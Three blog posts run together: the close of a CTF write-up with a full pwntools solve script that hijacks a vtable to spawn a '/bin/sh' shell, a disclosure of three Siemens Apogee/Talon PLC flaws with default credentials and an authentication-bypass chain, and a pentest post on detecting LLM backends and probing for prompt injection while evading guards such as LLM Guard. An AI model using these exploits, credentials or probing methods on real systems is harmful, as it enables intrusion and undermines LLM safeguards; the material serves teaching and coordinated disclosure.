Approach 2: `system("/bin/sh")` Gadget Chain

Credit: Adapted from @erge’s and @lolc4t’s solutions.

I'm sure this gadget chain feels closer to home for ROPpers. The chain works by setting rdi to "/bin/sh" and calling the system function. Despite the need for 6 quads in Congee, I find the chain rather fascinating as it condenses multiple steps into 2 clever gadgets.

Another nice aspect about this chain is that it does not rely on too much register state, only rax and rdi are used. (The libstdc++ and one-gadget chain rely on rsi = 0 which may not always be the case.)

Congee Ingredients:

Offset	Value	Purpose
`0x00`	address of Congee + `0x10`	vpointer
`0x08`	address of Congee + `0x18`	address of [system, binsh, gadget2] structure
`0x10`	`libc + 0x1740b1`	first gadget, `mov rax, [rdi+8]; call [rax+0x10]`
`0x18`	`system`	sweet sweet code execution!
`0x20`	`&"/bin/sh"`	address of any `/bin/sh` string
`0x28`	`libc + 0xa5688`	second gadget, `mov rdi, [rax+8]; call [rax]`

Here's the call flow:

VTable is at Congee address + 0x10 →
gadget at 0x10 (set rax to *(rdi+0x08), i.e. the second Congee entry, or in other words: rax = rax + 0x18) →
gadget at 0x28 (set rdi to "/bin/sh") →
gadget at 0x18 (system ACE).

To make this gadget chain work, we require the system, binsh, and 0xa5688 gadget to be contiguous in memory. This is because after mov rax in the first gadget, the subsequent assembly will call [rax+0x10], which triggers the second gadget to copy [rax+0x08] before call [rax]. Each entry in this relative +0x10, +0x08, and +0x00 structure has their unique role to play.

The order of the other gadgets don’t matter as much. Here’s one of the solves from the CTF community. Notice how the first gadget (libc + 0x1740b1) is placed at the end of the Congee payload instead of at offset 0x10.

'ingredients': {
	'value0': target_addr + 0x38, # <-- target_addr, rax, rdi
	'value1': target_addr + 0x10,
	'value2': libc.sym.system,
	'value3': next(libc.search(b'/bin/sh')),
	'value4': libc_base + 0xa5688, # mov rdi, [rax+8]; call [rax]
	'value5': 0x4646464646464646,
	'value6': 0x4747474747474747,
	'value7': libc_base + 0x1740b1, # mov rax, [rdi+8]; call [rax+0x10]
}

^{Alternative solution by @lolc4t.}

Conclusion

This was an interest challenge to make as it helped refresh my binary exploitation skills despite me sucking at pwn challenges. I was also happy that players came up with different solutions, challenging my biases on what makes a successful gadget chain.

Overall, this has been a fun experience exploring and exploiting a niche use case of C++ serialization libraries. I have a few variant challenges I might present in future CTFs. We'll see if they make it out.

Special thanks to thehackerscrew CTF team for hosting my CTF challenge and to the players who opened my mind by sharing their solves.

Solve Script

from pwn import *
import re

# context.log_level = 'debug'
p = process(['breakfast'])
e = ELF('breakfast')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libcpp = ELF('/usr/lib/x86_64-linux-gnu/libstdc++.so.6')

vtable_leak_json = """{
    "value0": {
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": 0,
                    "value1": 0,
                    "value2": 0,
                    "value3": 0,
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": {
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 2147483650,
            "data": {
                "spread": 8
            }
        }
    },
    "value2": {
        "ptr_wrapper": {
            "id": 2
        }
    }
}"""

mem_read_json = """{
    "value0": {
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": %d,
                    "value1": %d,
                    "value2": %d,
                    "value3": 0,
                    "value4": 0,
                    "value5": 0,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": {
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 2147483650,
            "data": {
                "spread": 0
            }
        }
    },
    "value2": {
        "ptr_wrapper": {
            "id": 1
        }
    }
}"""

vptr_hijack_json = """{
    "value0": {
        "ptr_wrapper": {
            "id": 2147483649,
            "data": {
                "ingredients": {
                    "value0": %d,
                    "value1": %d,
                    "value2": %d,
                    "value3": %d,
                    "value4": %d,
                    "value5": %d,
                    "value6": 0,
                    "value7": 0
                }
            }
        }
    },
    "value1": {
        "polymorphic_id": 1073741824,
        "ptr_wrapper": {
            "id": 1
        }
    },
    "value2": {
        "ptr_wrapper": {
            "id": 2147483650,
            "data": {
                "name": "Apple"
            }
        }
    }
}"""


def send_json(contents: str, skip_output=False):
    line = re.sub(r'\s+', '', contents)
    p.sendline(line.encode())

    if skip_output:
        return None
    
    # Parse output....
    p.recvuntil(b'\nc: ')
    _data1 = p.recvuntil(b'\n', drop=True)

    p.recvuntil(b'\nf: ')
    bytes3 = p.recvuntil(b'\nMmm- crunchy!', drop=True)

    return bytes3


print('\nleak vtable address')
bytes_ = send_json(vtable_leak_json)
vtable_addr = u64(bytes_)
print(f'{vtable_addr=:#x}')

print('\nfind libc address')
got_malloc = vtable_addr + e.got['malloc'] - e.sym['_ZN5Toast3eatEv']
print(f'{got_malloc=:#x}')
bytes_ = send_json(mem_read_json % (got_malloc, 8, 32))

malloc_addr = u64(bytes_)
print(f'{malloc_addr=:#x}')
libc_base = malloc_addr - libc.sym['malloc']
print(f'{libc_base=:#x}')
assert (libc_base & 0xfff) == 0

print('\nfind libc++ address')
got_throw = vtable_addr + e.got['__cxa_throw'] - e.sym['_ZN5Toast3eatEv']
print(f'{got_throw=:#x}')
bytes_ = send_json(mem_read_json % (got_throw, 8, 32))

throw_addr = u64(bytes_)
libcpp_base = throw_addr - libcpp.sym['__cxa_throw']
print(f'{libcpp_base=:#x}')
assert (libcpp_base & 0xfff) == 0

print('\nleak the heap')
base64_chars_addr = vtable_addr + e.sym['_ZN6cereal6base64L5charsE'] - e.sym['_ZN5Toast3eatEv']
bytes_ = send_json(mem_read_json % (base64_chars_addr, 8, 32))
heap_addr = u64(bytes_)
print(f'{heap_addr=:#x}')

print('\nfind the congee chunk')
length, needle = 0x1000, 0x41424344
bytes_ = send_json(mem_read_json % (heap_addr, length, needle))
assert len(bytes_) == length, f'expected to read {length} bytes'
assert p64(needle) in bytes_, 'unable to find needle in the haystack, maybe try a larger search length?'
found_addr = heap_addr + bytes_.index(p64(needle)) - 16
print(f'FOUND THE CONGEE CHUNK! - {found_addr=:#x}')

"""
# one_gadget -f /usr/lib/x86_64-linux-gnu/libc.so.6

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
"""

# 
# Approach 1: One-Gadget
# 

set_r12_0_gadget = libcpp_base + 0xf0a0c
set_rbx_0_gadget = libcpp_base + 0xf5e83
one_gadget_addr = libc_base + 0xef4ce
send_json(vptr_hijack_json % (
    found_addr + 0x08,
    set_r12_0_gadget,
    set_rbx_0_gadget,
    one_gadget_addr,
    0,
    0,
), True)

# 
# Approach 2: system("/bin/sh")
# 

# send_json(vptr_hijack_json % (
#     found_addr + 0x10,
#     found_addr + 0x18,
#     libc_base + 0x1740b1,
#     libc_base + libc.sym.system,
#     libc_base + next(libc.search(b'/bin/sh')),
#     libc_base + 0xa5688,
# ), True)

p.interactive()

Flag

crew{Pu2e_C3real_OrieNteD_Pro9ramM!ng_i5_wh@t_i_l1ke_to_cal1_it}

Footnotes

For further reading on JOP, I recommend reading this StackExchange answer: Security.SE: Concept of Jump-Oriented-Programming (JOP). It provides an excellent summary and brief history on ROP/JOP. ↩︎
We exclude stack-based gadgets to simplify the exploit, even if an attack with such gadgets may be possible. The reason for doing so is that we don’t have direct control over stack memory. We would need the help of gadgets to push/modify the stack. Even then, modifying the stack without fine-grained control potentially crashes the program. So we explore other alternatives first. ↩︎

Reverse Engineering a Siemens Programmable Logic Controller for Funs and Vulns (CVE-2024-54089, CVE-2024-54090 & CVE-2025-40757)

2025-09-12T00:00:00Z

Under the sweltering heat of the Hong Kong summer, we entered a looming building and kicked off what was supposed to be a simple penetration test. Little did we know, this ordeal would lead to panic-stricken emails, extra reports, and a few new CVEs.

This is a tale of the unexpected discovery of three CVEs in a Siemens logic controller, reverse engineering a bespoke architecture, and an authentication bypass obscured by proprietary file formats.

CVE-2024-54089 – Weak Encryption Mechanism Vulnerability in Siemens Apogee PXC and Talon TC Devices
CVE-2024-54090 – Out-of-Bounds Read Vulnerability in Siemens Apogee PXC and Talon TC Devices
CVE-2025-40757 – Information Disclosure Vulnerability in Siemens Apogee PXC and Talon TC Devices

Background

Our story begins with a simple network penetration test. The objective was to test our client’s internal network for potential vulnerabilities which could allow an attacker to take over systems from the perimeter, affect internal systems, and/or pivot to other networks. After a bit of mundane scanning and spreadsheet wrestling, we came across a few devices marked as Operational Technology (OT).

^{Nessus detected BACnet devices on the network.}

Meet the Siemens Apogee/Talon PXC Modular: a programmable logic controller (PLC) designed to automate building controls, monitoring, and energy management. These devices are primarily used in heating, ventilation, air conditioning (HVAC) systems which may have complex requirements depending on the weather, season, and time of day.

PLCs are like the managers of a building automation system. Just as managers oversee teams, allocate resources, and report to higher ups, PLCs monitor sensor inputs, execute logic, and send alerts and telemetry back to a central system or workstation.

Corporate analogies aside, quick scans of the device revealed interesting ports: telnet, HTTP, and BACnet (UDP/47808).

Hidden in HTTP

Analysis of the HTTP server quickly revealed the presence of a path traversal bug in the HTTP server, which we later validated to be CVE-2017-9947. This 7-year-old vulnerability enables remote attackers with network access to the integrated HTTP server to obtain information stored on the FAT file system.

Exploitation of CVE-2017-9947 led to enumeration of the following files stored within the directory:

A few files piqued our interest, and we downloaded these with a special parameter. Upon opening 7002[.]db, we uncovered what appeared to be a proprietary hex format. Initially, we paid no heed to this mishmash of bytes; but later on we will discover how this information could be abused. As pentesters, time is of the essence, so we'll make a mental note and move on for now.

^{python custom_decode_script.py 7002.db | xxd.}

Toying with Telnet

The telnet service was password-protected, but with a bit of enumeration, we identified a user manual specifying three (3) default credentials: HIGH:HIGH, MED:MED, and LOW:LOW. The first set of default credentials (HIGH:HIGH) rendered itself useless (for now), though the subsequent two sets enabled successful login to the telnet service.

^{We're in!}

After a bit of exploration, we found we had permission to dump memory as MED!

And here comes our first finding: what happens if we dump memory at a higher address?

Oh no.

Immediately, we double checked BACnet objects. Originally, over 900 objects were observed— now, only 17 remain. Needless to say, availability has gone out the window.

^{Current state of BACnet objects; only hardware debug information remains.}

Out of curiosity, we also tried logging into telnet as HIGH with the default password. This time, it worked!

^{We are HIGH!}

Oh no.

Let’s recap. We were initially unable to login as HIGH, but could login as MED. When we inputted a large address into the Dump Memory function, we lost the telnet connection. Further enumeration showed 99% of BACnet objects were missing, and the password for HIGH was reset.

Fast forward several months, and our discovery was formally recognized as CVE-2024-54090:

A Peek at Memory and Some Deja Vu

After taking all the necessary screenshots for the first finding, we proceeded to double down on the Dump Memory function. What else could we uncover?¹

We determined the memory range to be 0 to 0x03FF'FFFF, which precisely correlates with the 64MB SDRAM listed in the Technical Spec. After obtaining the full dump, it’s time to see what’s inside! A simple strings (or od) operation revealed some familiar faces…

^{od -A x -S 4 dump.bin | less. The od command will attach the memory location too; quite useful when reversing alongside another tool.}

Huh, curious! These are similar to the strings we previously saw in the .db file. On a whim, we tried changing our MED password and dumping the 0xc10f99 region. And sure enough, instead of #kjD., new values appeared. Not only that, but other values around the region remain unchanged, which suggests this particular memory location is tied to the password we just changed.

At this point, we hypothesised these values to be encrypted passwords. If kjD. is our password for MED, then perhaps 1237 and f}W are the passwords for HIGH and LOW respectively? After a quick test, we confirmed f}W is likely the encrypted password for LOW. So where does that leave us with 1237?

On another whim, we tried logging in as HIGH with the password 1234, and… we’re in?! (again)

WHAT?!

In utter disbelief, we toyed around with other passwords, and well— you can see the results for yourself.

Plaintext	Ciphertext
1234	1237
123456	123453
000000	000005
111	113
111111	111114
aaaaaa	-FjiF-
bbbbbb	-EijE-

^{Sample plaintext/ciphertext pairs. Notice how passwords comprised solely of digits are easily guessable.}

This leads us to our second finding, CVE-2024-54089; a weak password encryption mechanism. At this point, it was confirmed an attacker could guess certain passwords.

In the next few sections, we will show how we discovered how to decrypt any password. We initially attempted to reverse the encryption with a black-box approach and tried our hands at differential cryptanalysis. After much deliberation and regret at not having played more cryptography-style CTF challenges, we decided it was time for a different approach.

Taking a Trip Down Memory Lane

To solidify the impact of our finding (and to properly crack the xor-based slop), we proceeded to reverse-engineer the memory dump.

Loading Memory

While strings and od can provide clues, they do so without much context. We loaded the entire 64MB memory dump into Ghidra and were greeted with this marvellous junk:

Oops, wrong endian. Let’s try loading the same file with big endian instead.

That’s more like it!

PowerPC supports both big and little endian, which determine the order of bytes being interpreted. If we specify the wrong endian, the disassembler cannot correctly parse instructions. Apparently, this particular PLC uses big endian.

From here, we can hunt for more vulnerabilities or dig deeper into our previous findings. For now, we’ll stick to reverse engineering the encryption algorithm. But where do we start?

libc: An Exercise in Reverse Engineering

Without symbols, standard C functions are expressed as mumbo jumbo. While these are tedious to reverse, it does help stretch our reversing brains a bit. For instance, the following function has over 600 cross-references (XREFs). If we can identify this function, we’ll have an easier time reversing other parts of code. What do you think this function is?

void FUN_008ba294(undefined *param_1, undefined *param_2, uint param_3) 
{ 
  param_1 = param_1 + -1; 
  param_2 = param_2 + -1; 
  for (; param_3 != 0; param_3 = param_3 - 1) { 
    param_2 = param_2 + 1; 
    param_1 = param_1 + 1; 
    *param_1 = *param_2; 
  } 
  return; 
}

This is indeed memcpy. This copies param3-bytes from the memory at param2 to the memory at param1. The actual decompiled function is slightly more complicated with optimisations for copying the buffer by words (4 bytes) instead of byte-by-byte. To make our lives easier, we’ll edit the function signature with the appropriate names and types.

Here’s another function (over 1200 XREFs). What could this be?

char * FUN_008ba680(char *param_1) 
{ 
  char cVar1; 
  uint *puVar2; 
  char *pcVar3; 
  uint *puVar4; 
  uint uVar5; 
   
  uVar5 = 4U - (int)param_1 & 3; 
  pcVar3 = param_1; 
  while( true ) { 
     if (uVar5 == 0) { 
       puVar2 = (uint *)(pcVar3 + -4); 
       do { 
          puVar4 = puVar2; 
          puVar2 = puVar4 + 1; 
          uVar5 = *puVar2; 
       } while ((uVar5 + 0xfefefeff & ~uVar5 & 0x80808080) == 0); 
       pcVar3 = (char *)((int)puVar4 + 3); 
       do { 
          pcVar3 = pcVar3 + 1; 
       } while (*pcVar3 != '\0'); 
       return pcVar3 + -(int)param_1; 
     } 
     cVar1 = *pcVar3; 
     pcVar3 = pcVar3 + 1; 
     if (cVar1 == '\0') break; 
     uVar5 = uVar5 - 1; 
  } 
  return pcVar3 + (-1 - (int)param_1); 
}

Hint: What is being returned and how is it computed?

Some lines might seem scary, but let’s work with what we observe and know:

param_1 operates on a char* and the null byte \0 is checked, so this is likely a string operation.
The return statement pcVar3 - 1 - param_1 is a good clue that the function is doing some index-of or counting operation since param_1 is the start of the string. Analysing the code, no other special operation is performed aside from incrementing pcVar3 and pcVar4.
Hence, ignoring the weird constants in the nested while-loop, we can conclude with relative certainty that this is our good friend strlen.
For the curious, the uVar5 + 0xfefefeff & ~uVar5 & 0x80808080 magic is some bitwise trickery to check for null bytes in a word.

We continued hacking away at familiar functions before slowly moving on to complex higher level functions.

A Note on RTOS

We tried finding the encryption function through different approaches. While noodling around, we came across the thread function running the telnet server (think: the main function / entrypoint of the thread). We were unable to proceed in drilling down to our target (shakes fist— curse you indirection!), but this still posed a good opportunity to observe how the PLC works at the embedded level, and to revisit concepts of embedded software.

^{By correlating strings and the number 23 (the default telnet port), we determined functions relevant to socket programming.}

For a bare metal system to handle multithreading, a common approach is to use an RTOS (Real-Time Operating System). The RTOS is often provided as a library/API containing threading and synchronisation primitives. It is also common to allocate space for a stack then call some create_task function with a function pointer to the entrypoint of the thread.

Once in a while, we come across interesting bits and pieces. As a side quest, we took a peek at the other thread functions, and uncovered the code for a debug server with a peculiar choice of port…

Our nmap scans did not reveal this port, so it is likely an artefact from internal testing. Still an interesting find though!

Uncovering the Encryption

After much trial and error, we were able to find the encryption function.

We started by again, searching for common phrases associated with login. This time we tried searching for one of the default users: HIGH. In one instance, the string was embedded among other strings such as "newPassword", "oldPassword", and "UserAccountPasswordReset" which suggests some kind of password-related activity.

We followed XREFs to a relevant function and got our hands dirty.

Inside the reset_password function, we identified two similar code flows which operate on the old password and new password. In the screenshot below, the old password is converted to bytes and validated before being copied into the buffer at param_1 + 0x291. Later on, the same process is applied to the new password which is copied to param_1 + 0x17a.

As suspected, the code eventually calls a function on each buffer, which we confirmed performs in-place encryption— the very thing we were looking for!

The actual encryption process is rather straightforward to reverse. First, the password is converted to UPPERCASE.

It then performs multiple xor operations on the string, looping through each character. Each byte is xored with a variety of numbers. And interestingly, byte 0x2a (42) shows up multiple times. Coincidence?

Once we know the encryption process, it was trivial to reverse the decryption due to the use of xor.

For security reasons, we will not disclose the full algorithm here, but the gist is that we confirmed the algorithm is xor-based with a hard-coded key. An attacker with knowledge of the algorithm can decrypt any encrypted password on any affected device.

BAC(net) to the Future

This writeup would not be complete without a juicy OT attack. After reporting the first two vulnerabilities, we realised there was an obscure information leak hiding in plain sight…

BACnet is a building automation protocol which exposes an API to read/modify settings of a device. It typically runs on UDP/47808 (0xBAC0) and is designed for lightweight and flexible communication between building controllers. We used JoelBender’s bacpypes Python library to interface with BACnet. (Check out The Language of BACnet to learn more about BACnet basics.)

^{BACnet objects found by querying with bacpypes.}

We followed this process when enumerating BACnet:

Gather the Device ID. (nmap, Nessus, port scan)
List objects on the device: ./samples/ReadObjectList.py
Select objects and list properties: ./samples/ReadAllProperties.py

From here, we tested individual properties for read/write capability. Suffice to say, BACnet network security hardly meets modern standards, but that is not our focus for this post.

Instead, we turn our attention to a few interesting BACnet objects specific to our targets:

Look familiar? Using a modified version of bacpypes’ ReadWriteFile.py, we downloaded the files over BACnet. And surprise surprise— it holds the same contents as the .db found earlier in the HTTP server. But as we realised before, these files actually contain encrypted passwords; and since BACnet by nature does not have authentication, this means devices are susceptible to unauthenticated information disclosure. Anybody on the network can slurp out encrypted passwords. Alas, meet CVE-2025-40757:

The implications are huge! An attacker on the network could perform an authentication bypass by chaining the above issues: read the encrypted password from BACnet, decrypt/guess the plaintext, and login to telnet as a HIGH (admin) user. Even if telnet were disabled, the passwords could be used for spraying across other systems.

Once an attacker can login as HIGH, they could (conceptually) execute arbitrary assembly instructions with the built-in Write Memory feature or modify the embedded HTML to include an XSS snippet! More concerningly, they could compromise availability by tampering with device settings.

If anything, this goes to show how security by obscurity is insufficient.

Let’s Recap

TLDR:

We discovered MED/HIGH users can cause the affected device to enter a cold-start state, severely impacting availability. (CVE-2024-54090)
We reverse-engineered the encryption mechanism for telnet passwords and confirmed it was xor-based. No encrypted passwords are safe. Moreover, if a password contains only digits, it is easily guessable in its encrypted form. Decryption works across affected devices due to a hard-coded key. (CVE-2024-54089)
We discovered an Information Disclosure vulnerability where encrypted passwords are disclosed over a BACnet file object. (CVE-2025-40757)
By chaining CVE-2025-40757 and CVE-2024-54089, we can perform an authentication bypass, allowing one to login as any user and tamper with the device.

Mitigations

Affected Devices:

Siemens APOGEE PXC Series (all versions)
Siemens TALON TC Series (all versions)

As of writing, no fix is planned by Siemens. The following mitigations and temporary workarounds can be applied instead:

Disable telnet. According to Siemens, telnet should be disabled by default, but in our experience, it is not uncommon for site administrators to enable it for convenience. We recommend disabling telnet to mitigate these vulnerabilities.
Change the default password for all accounts (HIGH, MED, LOW) even if unused. Choose strong passwords containing a mix of letters and digits.
- Do not choose passwords comprised solely of digits.
- Note that this does not prevent attackers with knowledge of the encryption algorithm from decrypting the passwords.
- Avoid password reuse. Do not use the same passwords as your workstations and other models.
Apply detective controls such as network monitoring to identify suspicious traffic.

Acknowledgements

Special thanks to Siemens ProductCERT team for coordinated disclosure. For more information on these vulnerabilities, please read the advisories published by Siemens.

CVE-2024-54089 – Weak Encryption Mechanism Vulnerability in Siemens Apogee PXC and Talon TC Devices
CVE-2024-54090 – Out-of-Bounds Read Vulnerability in Siemens Apogee PXC and Talon TC Devices
CVE-2025-40757 – Information Disclosure Vulnerability in Siemens Apogee PXC and Talon TC Devices

Footnotes

It is important to caveat that we did not have the firmware for this controller, nor was Ghidra MCP available at the time, so our testing was very much black box. Further, we faced several roadblocks: 1) All symbols, libc or otherwise, needed to be reversed manually. 2) Ghidra flow detection is a bit buggy with PowerPC. 3) Code may be incomplete, since it may be overwritten with data or loaded dynamically.

Any function/variable names you see in our reversing process are a best guess based on limited information and patterns. In hindsight, our testers recognized there could have been alternative approaches taken, such as grabbing an appropriate libc.so and applying offsets, or reading up on prior research on Nucleus RTOS (which seems to be the underlying RTOS). ↩︎

Output-Invariant and Time-Based Testing – Practical Techniques for Black-Box Enumeration of LLMs

2025-05-09T00:00:00Z

In a recent pentest, I tested a system which automates and streamlines a time-consuming business process. The web app would process .docx business files by transforming unstructured data to structured JSON. To expedite the pentest (because time is precious), I asked the developer: "How does the backend parse the document? Is there any particular format, say, specific headings or column names?"

Their response frankly surprised me: "No fixed format. An AI will process the document."

Exciting! An opportunity to try out prompt injection!

But I had a nagging thought: Is it possible to determine whether AI is being used purely through black-box testing? What if the devs in my next engagement used an LLM without documenting it and without informing me? What if it was a red team assessment and opsec was needed?

After multiple days of pentesting, I think I've arrived at a few simple techniques and tell-tales to identify LLM usage. Search results for prompt injection pentest methodologies were.... disappointing... so I thought I'd share these notes! (If you're aware of any resources, similar or otherwise, do let me know!)

To be clear, this post primarily addresses enumeration of LLMs in APIs and backends, rather than exploitation of LLMs. This means we are trying to answer questions such as:

✅ "Does the backend use an LLM?",
✅ "Is this field vulnerable to prompt injection?"; rather than questions like
❌ "What data can I exfiltrate?",
❌ "How can I backdoor this LLM?",
❌ "How can I bypass LLM defences?",
❌ "Can I steal Bob's credit card details from the customer service bot?".

By answering the former questions early on, we save ourselves from mindlessly poking at the other questions. We will also side-track ourselves with a couple concerns pertaining to LLM attacks:

✅ "What does opsec mean in LLM red-teaming?",
✅ "What are blind prompt injection attacks (conceptually)?"

We'll assume a Direct Prompt Injection scenario, i.e. a tester/attacker is interacting with a service, rather than Indirect Prompt Injection.

Let's take a look at the first method.

Output-Invariant (Probe-Pair) Testing

Update 2025.11.15: I realised a bit late that a term called probe-pair fuzzing exists in the literature, presented by James Kettle some 9 years ago. It describes what I call "output invariance" quite neatly, in that you send two probes: a base request and a second request crafted to illicit "interesting behaviour".

The idea is quite simple, I just think the term "output-invariant testing" sums it up nicely.

The key idea is to take a base request/response, change the input slightly without changing context, and aim to keep the LLM response unchanged.

Output-invariance is always relative to some base request. Any mention of "output-invariant prompt" implies two prompts: a base prompt and a modified test prompt.

Concept

A thought experiment: Suppose we’re testing a backend which extracts data. The input format is text-based, and the output format is JSON. Sample input:

Name: Michael Scott
Title: Regional Manager
Description: A manchild who manages the day-to-day circumstances (of his own room) in The Office.

Suppose the backend is implemented in one of two ways:

First, a traditional implementation which uses regex or some manual approach to extract the desired text.
Second, an LLM prompted with something like "Extract name, title, and description. Here's the format: ... Here's an example: ...". The LLM— being a black box— would do its thing, and spit out the same JSON.

{
    "name": "Michael Scott",
    "title": "Regional Manager",
    "description": "A manchild..."
}

Now let's put on our attacker hat. From a black-box perspective, we don't know whether the backend uses a traditional or LLM implementation.

But what if we slightly changed some fields in the base input?

+Name: My name is Michael Scott
+Title: The title is Regional Manager
 Description: A manchild who manages the day-to-day circumstances (of his own room) in The Office.

The traditional implementation would return:

 {
+    "name": "My name is Michael Scott",
+    "title": "The title is Regional Manager",
     "description": "A manchild..."
 }

However, the LLM implementation would return the same response:

{
    "name": "Michael Scott",
    "title": "Regional Manager",
    "description": "A manchild..."
}

This is because LLMs have something traditional implementations don't: they "understand" context and language. It "recognises" Michael Scott resembles a name, and the phrase My name is indicates the following text is a name.

The key idea behind Output-Invariant Testing is to take a base (HTTP) request, then change a field slightly but aim to keep the LLM response— the output— invariant (unchanged).

To reiterate, we have two requests/responses involved:

The Base Request/Response, derived from normal clicks and operation.
The Output-Invariant Test Request/Response, which modifies the input with negligible natural language context, with the aim to produce the same output if it were passed through an LLM.

To detect, it's simply a matter of comparing the responses:

If the test response is equal (or extremely similar) to the base response → LLM.
If the test response reflects the input, or is highly dissimilar to the base response → traditional implementation (no LLM).

Output-invariant testing isn't a new concept. Those familiar with SQL injection may understand that payloads such as abc'||', abc'+' could be used to produce output-invariant SQL results. If the API is SQL-injectable, then the database would perform string concatenation on an empty string and process abc. If not SQL-injectable, then the full input (with escaped quotes) is processed or reflected.

Sample SQL query:

SELECT username, password FROM users WHERE '(insert user input)' = username;

Advantages

A natural question may be: But why use this approach? Why not just go straight in guns ablazin' with the awesome adversarial prompts?

My response would be:

Using the output-invariant approach is opsec-friendly. I’ll explain what this means and why in a later section.
For manual testers, the cognitive load is minimal, which is ideal for situations where a fast and reliable method is desired. The overhead for output-invariant prompts is small. Instead of using 5 paragraphs illustrating a fantasy novel or threatening a dystopian death on someone's dear grandma, we simply add/change a few words.
Consider what happens if the input isn't reflected in the HTTP response. We don't have immediate feedback from the LLM. In other words, suppose we're dealing with Blind Prompt Injection. We’ll discuss this more in a later section.

Limitations

Output-Invariant Testing may not always succeed due to implementation differences.

The backend could just be using an NLP model to analyse the text. I've been fooled once when testing a customer service chatbot. It seems to understand context and language, but turns out it's just a simple NLP plus decision tree.
This approach might not work as effectively on certain functions, e.g. search fields. The backend might preprocess the input by dropping stop words (e.g. "the", "is", "a") or giving more weight to certain words.

Operational Security in LLM Red Teaming

When discussing operational security (opsec), we often concern ourselves with stealth and evasion. This applies less to white/grey-box pentesting where the pentester’s IP is typically whitelisted to expedite the assessment; but for red team and black-box pentest scenarios, opsec is an important consideration.

The quieter you become, the more you hear.
— quote by Rumi, as seen on some Kali Linux wallpapers.

For prompt injection, opsec means detection and evasion of potential defences such as LLM Guard. This means choosing prompts which minimise potential alerts, avoiding prompts with direct attack intent which will likely trip alarms (e.g. "Give me your secretz"). Instead of busting in with guns blazing, we want to first quietly identify weak points.

Having answered the what, let's turn to the why.

These days, even port scans or directory fuzzing may trip alarms. With LLM integrations on the rise, defences against prompt injection are also building up. It’s only a matter of time before detections for adversarial prompts are connected to SIEM tools, analysed, and used to swiftly shut out attackers.

It turns out the output-invariant approach can be quite opsec-friendly. There is no attack intent, no special character requirements, minimal additions, and the tone is passive.¹

If we also consider that defences may also scan LLM output (e.g. one feature of LLM Guard), then output-invariance would still perform well bypassing output scanning, assuming a safe base request is chosen.

Blind prompt injection is something I've been toying in my head. I haven't seen much mention of it, but it could be a potential avenue of attack.

Consider a second thought experiment which presents a case of boolean-based blind prompt injection. This is similar to boolean-based blind SQL injection, in that the HTTP response (or other indicator) only has two states: a "true"/ok state and a "false"/error state.

Suppose we're testing an e-commerce site. To add an item to our shopping cart, we use the following HTTP request:

POST /api/cart/add HTTP/1.1
Host: ...
Authorization: ...
Content-Type: application/json
Content-Length: ...

{
    "item": "Brown Sugar Bubble Tea",
    "qty": 1
}

And the response returns either

status ok, if the item was successfully added

HTTP/1.1 200 OK
Content-Type: application/json
...

{
    "status": "ok"
}

status error, if the item name could not be found or some other error occurred. This error is generic and information is limited. Assume this is a lousy React API which only returns status code 200.

HTTP/1.1 200 OK
Content-Type: application/json
...

{
    "status": "error"
}

The key feature of this example is that the input is not reflected in the response, but we have boolean feedback instead.

As a black-box tester, we don't actually know whether an LLM is used. But if an LLM were used, we hypothesise it does something like:

Receive user input from HTTP request
Query LLM
Process data from LLM
Return generic ok/error response

Our base request/response is:

// Request:
{
    "item": "Brown Sugar Bubble Tea",
    "qty": 1
}
// Response:
{
    "status": "ok"
}

Now suppose we want to verify whether the backend uses an LLM. Using the output-invariant approach, we slightly modify the request to:

{
    "item": "The item is Brown Sugar Bubble Tea",
    "qty": 1
}

What does the backend see? And how would it respond? We'll summarise this in a table.

Input	Is LLM used? (unknown to tester)	What the Backend Processes (unknown, best guess)	Status (known, observed)
The item is Brown Sugar Bubble Tea	Yes	Brown Sugar Bubble Tea	ok
The item is Brown Sugar Bubble Tea	No	The item is Brown Sugar Bubble Tea	error

By using an output-invariant prompt, we can determine whether LLMs are used based on the boolean response.

Note: Underpinning this approach is the assumption that the phrase The item is Brown Sugar Bubble Tea is not a record in the database, but Brown Sugar Bubble Tea is a record, which is why different statuses are returned. If this assumption fails, the returned statuses would be indistinguishable.

Time-Based Testing

Assuming your network connection is stable, one of the best hints of an LLM is a long response time. This technique isn't always reliable, but I think it has some merit, and time-based techniques are quite fascinating, no?

The main objective is to use prompts which would induce an LLM response containing many words. Generally, an LLM scales poorly in this regard. Many words in response = long response time = we happy.

Analysis

To test the feasibility of this approach, I wanted to analyse how LLM response time scales with number of words in the LLM response.

Test Methodology and Raw Data (click to expand)

We asked another AI to generate texts of lengths 10, 50, 100, 250, 500, 1000, and 2500, which we then padded to the correct word count (because LLMs suck at counting), and then fed as unstructured data to our target AI. In our case, the target AI was already prompted to extract unstructured data and to "not omit values", thus we can simply paste lengthy text into the input, and the AI will reflect that in the response. We submitted each text 10 times, observed the response times, and took the median to eliminate noise.

Requests are submitted via HTTP using Burp Suite. The backend is an API wrapper over GPT-4o. We used Burp Suite's "End Response Timer" metric to determine how long each request took.²

Word Count	Median Response Time (ms)
10	3793
50	5110
100	4975
250	7627
500	8325
1000	16987
2500	34123

^{Processed Data: Median response time vs. word count.}

Raw data is here.

_(collapse)

Based on this analysis, we can observe that despite response time being linear with respect to word count, our target LLM still operates slowly, with 1000 words taking 16 seconds and 2500 words taking 35 seconds. By performing a linear regression, we can determine the word generation rate is roughly 12 ms per word (83 words per second) and that a baseline request (for LLM input processing and other API tasks) would take 3.9 seconds.

What this all means for the layman is that there is a very clear trend that LLMs have a slow time-vs-word rate. We can take advantage of this in our analysis and detections.

Traditional implementations just don't take this long. After all, CPUs are pretty fast.

To use time-based testing, induce the AI to generate two responses: a small response and a large response. Observe and measure the time taken. For more detailed analysis, gather multiple datapoints with different word counts, then use linear regression to identify the words per second.

Example of Regex-Based Implementation

